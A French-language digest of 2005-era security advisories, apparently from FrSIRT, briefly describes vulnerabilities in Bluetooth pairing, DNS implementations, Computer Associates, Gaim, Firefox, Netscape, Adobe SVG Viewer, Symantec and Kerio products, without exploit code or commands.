Une vulnérabilité a été identifiée dans le protocole Bluetooth, elle pourrait être exploitée par des attaquants distants afin de passer outre les restrictions sécuritaires. Le problème résulte d'une erreur de conception présente au niveau du processus de pairing initialisé par deux (ou plusieurs) périphériques dans le but de créer une clé partagée dédiée à la communication, ce qui pourrait être exploité par des attaquants distants afin de déterminer la code PIN (Personal Identification Number), intercepter des communications, ou contrôler un périphérique vulnérable.

Une vulnérabilité a été identifiée dans plusieurs produits Cisco, elle pourrait être exploitée par des attaquants distants afin de causer un déni de service (DoS). Le problème résulte d'une erreur présente au niveau du processus de récursivité utilisé par certaines implémentations DNS (Domain Name System) afin de décompresser les messages DNS (RFC 1035), ce qui pourrait être exploité par un attaquant distant afin d'altérer le fonctionnement d'un système vulnérable en envoyant, vers un serveur DNS, des paquets spécialement conçus. Pour plus d'informations, se référer au bulletin : FrSIRT/AVIS-2005-0610

Une vulnérabilité a été identifiée dans le protocole DNS (Domain Name System), elle pourrait être exploitée par des attaquants distants afin de causer un déni de service (DoS). Le problème résulte d'une erreur présente au niveau du processus de récursivité utilisé par certaines implémentations dans le but de décompresser les messages DNS compressés (RFC 1035), ce qui pourrait être exploité par un attaquant distant afin d'altérer le fonctionnement d'un système vulnérable en envoyant, vers un serveur DNS, un paquet spécialement conçu.
Note : Cette vulnérabilité ne devrait pas représenter une menace majeure pour la sécurité de l'internet, car les produits les plus répandus, tels que ISC Bind et Microsoft DNS, ne semblent pas être vulnérables.

Une vulnérabilité critique a été identifiée dans plusieurs produits Computer Associates, elle pourrait être exploitée par un attaquant distant ou un ver/virus afin de compromettre un système vulnérable.
 
Le problème résulte d'une erreur de type heap overflow présente au niveau de la librairie Vet (VetE.dll) qui ne gère pas correctement certaines macros VBA contenant des entêtes malformées, ce qui pourrait être exploité afin d'exécuter des commandes arbitraires distantes en envoyant, vers un antivirus vulnérable, un document Microsoft Office spécialement conçu.

Netscape Communications vient de publier une mise à jour de sécurité pour son navigateur Netscape, elle corrige plusieurs vulnérabilités critiques qui pourraient être exploitées par des attaquants distants afin de compromettre un système vulnérable, conduire des attaques par Cross Site Scripting ou contourner les restrictions sécuritaires. Pour plus d'informations, se référer aux bulletins : FrSIRT/AVIS-2005-0530 - FrSIRT/AVIS-2005-0493 - FrSIRT/AVIS-2005-0361 - FrSIRT/AVIS-2005-0312 - FrSIRT/AVIS-2005-0296 - FrSIRT/AVIS-2005-0206 - FrSIRT/AVIS-2005-0116 - FrSIRT/AVIS-2005-0112

Deux vulnérabilités ont été identifiées dans Gaim, elles pourraient être exploitées par des attaquants distants afin de compromettre un système vulnérable ou causer un déni de service (DoS). Le premier problème, qualifié de critique, résulte d'une erreur de type stack overflow présente au niveau de la routine de gestion des URLs incluses dans les messages, ce qui pourrait être exploité afin d'exécuter des commandes arbitraires distantes en envoyant un message contenant une URL spécialement conçue (d'une longueur supérieure à 8192 octets). La seconde vulnérabilité est due à une erreur de type "NULL pointer" présente au niveau de la gestion des messages MSN, ce qui pourrait être exploité afin de causer un déni de service et altérer le fonctionnement d'une application vulnérable.

Une vulnérabilité critique a été identifiée dans Mozilla Firefox, elle pourrait être exploitée par des attaquants distants afin d'exécuter des commandes arbitraires. Le premier problème résulte d'une erreur présente au niveau de la gestion du paramètre "src" inclus avec un tag "IFRAME", ce qui pourrait être exploité afin de conduire des attaques par Cross Site Scripting.
La seconde vulnérabilité est due à une erreur présente au niveau du filtrage de la variable "iconURL" (utilisée par la fonction "InstallTrigger.install" ), ce qui pourrait être exploité par des attaquants distants afin de compromettre un système vulnérable via une page web ou un email contenant un code javascript malicieux.
[...]
Update - L'exploitation de cette vulnérabilité n'est plus possible à l'heure actuelle, car la fondation Mozilla à modifié la fonction "install" sur son serveur de téléchargement des extensions (en y ajoutant des nombres et des chiffres générés aléatoirement), ce qui empêche l'exécution de commandes arbitraires distantes et la compromission d'un système vulnérable via l'exploit public.

Une vulnérabilité a été identifiée dans Adobe SVG Viewer, elle pourrait être exploitée par un attaquant distant afin d'accéder à certaines informations sensibles. Ce problème est due a une erreur présente au niveau du contrôleur ActiveX Adobe SVG Viewer (NPSVG3.dll) qui ne filtre pas correctement la variable "src", ce qui pourrait être exploité par un attaquant distant afin de vérifier la présence d'un fichier arbitraire au sein d'un système vulnérable, en incitant un utilisateur à visiter une page HTML malicieusement construite.

Plusieurs vulnérabilités ont été identifiées dans certains produits Symantec, ce qui pourrait être exploité par des attaquants distants afin de causer un déni de service (DoS). Ces problèmes résultent d'erreurs multiples présentes au niveau de la gestion des messages d'erreurs ICMP, ce qui pourrait être exploité par un attaquant afin de réaliser des attaques de type "blind data injection" ou "blind reset". Pour plus d'informations, se référer au bulletin : FrSIRT/AVIS-2005-0344

Deux vulnérabilités ont été identifiées dans plusieurs produits Kerio, elles pourraient être exploitées par des attaquants afin de causer un déni de service ou conduire des attaques par brute-force. Les deux problèmes résultent d'une erreur présente au niveau du protocole d'administration qui ne filtre pas correctement certains messages de pre-authentification ainsi que certaines tentatives de connexions simultanées et/ou répétitives, ce qui pourrait être exploité afin de faciliter des attaques par dictionnaire ou afin d'altérer le fonctionnement d'un système vulnérable.

Une vulnérabilité a été identifiée dans plusieurs produits Symantec, elle pourrait être exploitée par un virus/ver afin de contourner certaines restrictions sécuritaires. Le problème résulte d'une erreur présente au niveau de la fonction chargée de la décomposition des archives, qui ne manipule pas correctement certains fichiers RAR malicieusement construits, ce qui pourrait être exploité afin de contourner les protections et passer outre la procédure de détection de fichiers malicieux.
 
Note : Cette vulnérabilité ne représente pas une menace importante, puisque les fichiers malicieux non scannés seront vérifiés et détectés, dés leur extraction, par RealTime Virus Scan ou Auto-Protect.

Une vulnérabilité critique a été identifiée dans Netscape, elle pourrait être exploitée par un attaquant distant afin de compromettre un système vulnérable. Le problème résulte d'une erreur de type "heap overrun" présente au niveau de la gestion de certaines images GIF forgées, ce qui pourrait être exploité afin d'exécuter des commandes arbitraires distantes via une page web ou un email malicieux. Pour plus d'informations, se référer au bulletin : FrSIRT/AVIS-2005-0296

Une vulnérabilité critique a été identifiée dans Netscape, elle pourrait être exploitée par un site web malicieux afin d'exécuter des commandes arbitraires. Le problème, initialement découvert sous Mozilla, résulte d'une erreur de permissions présente au niveau de la gestion de certains DOMs (Document Object Model), ce qui pourrait être exploité afin d'exécuter des commandes arbitraires via une page HTML malicieusement construite. Pour plus d'informations, se référer au bulletin : FrSIRT/AVIS-2005-0361